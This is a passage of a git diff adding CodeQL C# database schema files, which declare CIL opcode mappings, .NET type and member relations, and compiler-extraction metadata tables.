+| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; +@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field; // todo: add function pointer type + +#keyset[method, index] +cil_parameter( + unique int id: @cil_parameter, + int method: @cil_method ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +#keyset[id, modifier] +cil_custom_modifiers( + int id: @cil_custom_modifier_receiver ref, + int modifier: @cil_type ref, + int kind: int ref); // modreq: 1, modopt: 0 + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/5f6770a8a174aa0b651375a847d9686533d3f528/semmlecode.csharp.dbscheme b/csharp/upgrades/5f6770a8a174aa0b651375a847d9686533d3f528/semmlecode.csharp.dbscheme new file mode 100644 index 00000000000..98e37f65f0a --- /dev/null +++ b/csharp/upgrades/5f6770a8a174aa0b651375a847d9686533d3f528/semmlecode.csharp.dbscheme @@ -0,0 +1,1922 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, 